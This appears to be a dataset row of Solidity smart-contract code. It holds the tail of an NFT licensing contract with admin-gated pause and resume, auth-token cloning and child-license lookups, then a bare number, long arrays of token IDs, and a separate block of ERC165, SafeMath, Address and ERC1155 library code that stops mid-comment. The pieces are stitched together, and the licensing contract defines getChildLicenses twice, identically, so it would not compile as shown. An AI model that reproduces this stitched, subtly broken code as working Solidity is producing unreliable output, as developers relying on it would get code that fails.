"ERR_CALLER"); subLicensesDeployementPaused = true; emit SubLicensesDeploymentPaused(); } function resumeSubLicenseDeployement() public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); subLicensesDeployementPaused = false; emit SubLicensesDeploymentResumed(); } function _deployAuthToken( uint256 _tokendId, string memory _name, string memory _symbol ) internal returns (address) { require( authTokenImplementation != address(0x0), "ERR_TOKEN_IMPLEMENTATION" ); address newAuth = ClonesUpgradeable.clone(authTokenImplementation); IAuthToken(newAuth).initialize(_name, _symbol, _tokendId); authToken[_tokendId] = newAuth; emit AuthTokenDeployed(_tokendId, newAuth); return newAuth; } function pauseAuthTokenDeployement() public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); authTokenDeployementPaused = true; emit AuthTokenDeploymentPaused(); } function resumeAuthTokenDeployement() public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); authTokenDeployementPaused = false; emit AuthTokenDeploymentResumed(); } function setTokenImplementation(address _tokenImplementation) public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); authTokenImplementation = _tokenImplementation; emit AuthTokensImplementationSet(_tokenImplementation); } function getParentLicense(uint256 _tokenId) public view returns (uint256) { require(_exists(_tokenId), "ERR_TOKEN_ID"); return parentLicense[_tokenId]; } function getChildLicenses(uint256 _tokenId) public view returns (uint256[] memory) { require(_exists(_tokenId), "ERR_TOKEN_ID"); uint256[] memory childLicensesList = new uint256[](childLicenses[_tokenId].length()); for (uint256 i = 0; i < childLicenses[_tokenId].length(); i++) { childLicensesList[i] = childLicenses[_tokenId].at(i); } return childLicensesList; } function getChildLicenses(uint256 _tokenId) public view returns (uint256[] memory) { require(_exists(_tokenId), "ERR_TOKEN_ID"); uint256[] memory childLicensesList = new uint256[](childLicenses[_tokenId].length()); for (uint256 i = 0; i < childLicenses[_tokenId].length(); i++) { childLicensesList[i] = childLicenses[_tokenId].at(i); } return childLicensesList; } function getAuthTokenAddress(uint256 _tokenId) public view returns (address) { require(_exists(_tokenId), "ERR_TOKEN_ID"); return authToken[_tokenId]; } function isTokenFrozen(uint256 _tokenId) public view returns (bool) { require(_exists(_tokenId), "ERR_TOKEN_ID"); return frozenToken[_tokenId]; } function getTokenStateDescriptionRef(uint256 _tokenId) public view returns (string memory) { require(_exists(_tokenId), "ERR_TOKEN_ID"); return stateDescription[_tokenId]; } function mint( address _to, string memory _name, string memory _symbol, string memory _legalURI ) public { require(hasRole(MINTER_ROLE, msg.sender), "ERR_CALLER"); uint256 tokenId = _tokenIdTracker.current(); _mint(_to, tokenId); _deployAuthToken(tokenId, _name, _symbol); _tokenIdTracker.increment(); tokenLegalURI[tokenId] = _legalURI; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { require(!frozenToken[tokenId], "ERR_TOKEN_FROZEN"); super._beforeTokenTransfer(from, to, tokenId); } }
5,972,371
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 2649, 423, 4464, 6835, 364, 26457, 632, 20392, 1021, 6835, 8121, 326, 9715, 471, 326, 3688, 1486, 598, 326, 1931, 4186, 358, 532, 1283, 471, 2113, 5390, 598, 326, 960, 6234, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 511, 335, 28003, 50, 4464, 353, 4232, 39, 27, 5340, 18385, 288, 203, 225, 1450, 14060, 10477, 10784, 429, 364, 2254, 5034, 31, 203, 225, 1450, 6057, 25121, 694, 10784, 429, 364, 6057, 25121, 694, 10784, 429, 18, 5487, 694, 31, 203, 225, 1450, 9354, 87, 10784, 429, 364, 9354, 87, 10784, 429, 18, 4789, 31, 203, 203, 225, 1731, 1578, 1071, 5381, 25969, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 15468, 67, 16256, 8863, 203, 225, 1731, 1578, 1071, 5381, 467, 1260, 57, 654, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 25689, 57, 654, 67, 16256, 8863, 203, 203, 225, 1758, 1071, 9715, 31, 203, 225, 1758, 1071, 15469, 31, 203, 203, 225, 1758, 1071, 24050, 13621, 31, 203, 203, 225, 2874, 12, 11890, 5034, 516, 1426, 13, 2713, 12810, 1345, 31, 203, 225, 2874, 12, 11890, 5034, 516, 533, 13, 2713, 919, 3291, 31, 203, 225, 2874, 12, 11890, 5034, 516, 533, 13, 2713, 1147, 30697, 3098, 31, 203, 203, 225, 2874, 12, 11890, 5034, 516, 1758, 13, 2713, 24050, 31, 203, 225, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 2713, 982, 13211, 31, 203, 203, 225, 2874, 12, 11890, 5034, 516, 6057, 25121, 694, 10784, 429, 18, 5487, 694, 13, 2713, 1151, 48, 16548, 31, 203, 225, 1426, 1071, 720, 48, 16548, 10015, 820, 28590, 31, 203, 225, 1426, 1071, 24050, 10015, 820, 28590, 31, 203, 203, 225, 871, 3123, 5157, 13621, 694, 12, 2867, 389, 2316, 13621, 1769, 203, 225, 871, 3123, 1345, 6733, 28590, 5621, 203, 225, 871, 3123, 1345, 6733, 607, 379, 329, 5621, 203, 225, 871, 3123, 1345, 31954, 12, 11890, 5034, 389, 2316, 548, 16, 1758, 389, 1944, 1887, 1769, 203, 225, 871, 2592, 48, 16548, 6733, 28590, 5621, 203, 225, 871, 2592, 48, 16548, 6733, 607, 379, 329, 5621, 203, 225, 871, 2592, 13211, 31954, 12, 203, 565, 2254, 5034, 389, 2938, 13211, 16, 203, 565, 2254, 5034, 389, 3624, 13211, 16, 203, 565, 1758, 389, 20367, 203, 225, 11272, 203, 225, 871, 2592, 13211, 10070, 14276, 12, 11890, 5034, 389, 2316, 548, 1769, 203, 225, 871, 3155, 42, 9808, 12, 11890, 5034, 389, 2316, 548, 1769, 203, 225, 871, 3155, 984, 28138, 12, 11890, 5034, 389, 2316, 548, 1769, 203, 225, 871, 3155, 914, 7653, 12, 11890, 5034, 389, 2316, 548, 16, 533, 389, 2019, 3291, 1769, 203, 225, 871, 15217, 8489, 691, 5108, 329, 12, 11890, 5034, 389, 2316, 548, 1769, 203, 225, 871, 3360, 3098, 7381, 12, 1080, 389, 3098, 1769, 203, 225, 871, 17167, 287, 3098, 1891, 12, 11890, 5034, 389, 2316, 548, 16, 533, 389, 2704, 30697, 3098, 1769, 203, 203, 225, 445, 4046, 12, 203, 565, 533, 3778, 389, 529, 16, 203, 565, 533, 3778, 389, 7175, 16, 203, 565, 533, 3778, 389, 1969, 1345, 3098, 16, 203, 565, 1758, 389, 3666, 16, 203, 565, 1758, 389, 17567, 16, 203, 565, 1758, 389, 25737, 203, 203, 225, 262, 1071, 12562, 288, 203, 565, 2240, 18, 11160, 24899, 529, 16, 389, 7175, 16, 389, 1969, 1345, 3098, 1769, 203, 565, 389, 8401, 2996, 12, 5280, 67, 15468, 67, 16256, 16, 389, 3666, 1769, 203, 565, 389, 8401, 2996, 12, 15468, 67, 16256, 16, 389, 3666, 1769, 203, 565, 389, 8401, 2996, 12, 25689, 57, 654, 67, 16256, 16, 389, 3666, 1769, 203, 565, 389, 8401, 2996, 12, 25689, 57, 654, 67, 16256, 16, 389, 17567, 1769, 203, 203, 565, 720, 48, 16548, 10015, 820, 28590, 273, 638, 31, 203, 565, 24050, 10015, 820, 28590, 273, 638, 31, 203, 203, 565, 9715, 273, 389, 17567, 31, 203, 565, 15469, 273, 389, 25737, 31, 203, 225, 289, 203, 203, 225, 445, 26435, 3098, 12, 1080, 3778, 389, 1969, 3098, 13, 1071, 288, 203, 565, 2583, 12, 5332, 2996, 12, 15468, 67, 16256, 16, 1234, 18, 15330, 3631, 315, 9712, 67, 13730, 654, 8863, 203, 565, 389, 1969, 1345, 3098, 273, 389, 1969, 3098, 31, 203, 565, 3626, 3360, 3098, 7381, 24899, 1969, 3098, 1769, 203, 225, 289, 203, 203, 225, 445, 16684, 1345, 12, 11890, 5034, 389, 2316, 548, 13, 1071, 288, 203, 565, 2583, 12, 5332, 2996, 12, 25689, 57, 654, 67, 16256, 16, 1234, 18, 15330, 3631, 315, 9712, 67, 13730, 654, 8863, 203, 565, 12810, 1345, 63, 67, 2316, 548, 65, 273, 638, 31, 203, 565, 3626, 3155, 42, 9808, 24899, 2316, 548, 1769, 203, 225, 289, 203, 203, 225, 445, 640, 29631, 1345, 12, 11890, 5034, 389, 2316, 548, 13, 1071, 288, 203, 565, 2583, 12, 5332, 2996, 12, 25689, 57, 654, 67, 16256, 16, 1234, 18, 15330, 3631, 315, 9712, 67, 13730, 654, 8863, 203, 565, 12810, 1345, 63, 67, 2316, 548, 65, 273, 629, 31, 203, 565, 3626, 3155, 984, 28138, 24899, 2316, 548, 1769, 203, 225, 289, 203, 203, 225, 445, 2036, 1345, 12, 11890, 5034, 389, 2316, 548, 16, 533, 3778, 389, 2019, 3291, 13, 203, 565, 1071, 203, 225, 288, 203, 565, 2583, 12, 5332, 2996, 12, 25689, 57, 654, 67, 16256, 16, 1234, 18, 15330, 3631, 315, 9712, 67, 13730, 654, 8863, 203, 565, 919, 3291, 63, 67, 2316, 548, 65, 273, 389, 2019, 3291, 31, 203, 565, 3626, 3155, 914, 7653, 24899, 2316, 548, 16, 389, 2019, 3291, 1769, 203, 225, 289, 203, 203, 225, 445, 1172, 9194, 8489, 691, 12, 11890, 5034, 389, 2316, 548, 13, 1071, 288, 203, 565, 2583, 12, 3576, 18, 15330, 422, 15469, 16, 315, 9712, 67, 13730, 654, 8863, 203, 565, 3626, 15217, 8489, 691, 5108, 329, 24899, 2316, 548, 1769, 203, 225, 289, 203, 203, 225, 445, 3755, 1345, 12, 11890, 5034, 389, 2316, 548, 13, 1071, 288, 203, 565, 2583, 12, 5332, 2996, 12, 25689, 57, 654, 67, 16256, 16, 1234, 18, 15330, 3631, 315, 9712, 67, 13730, 654, 8863, 203, 565, 389, 70, 321, 24899, 2316, 548, 1769, 203, 225, 289, 203, 203, 225, 445, 1089, 1345, 30697, 3098, 12, 11890, 5034, 389, 2316, 548, 16, 533, 3778, 389, 2013, 3098, 13, 203, 565, 1071, 203, 225, 288, 203, 565, 2583, 12, 5332, 2996, 12, 25689, 57, 654, 67, 16256, 16, 1234, 18, 15330, 3631, 315, 9712, 67, 13730, 654, 8863, 203, 565, 1147, 30697, 3098, 2 ]
pragma solidity ^0.6.12; // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using SafeMath for uint256; using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ constructor (string memory uri_) public { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring 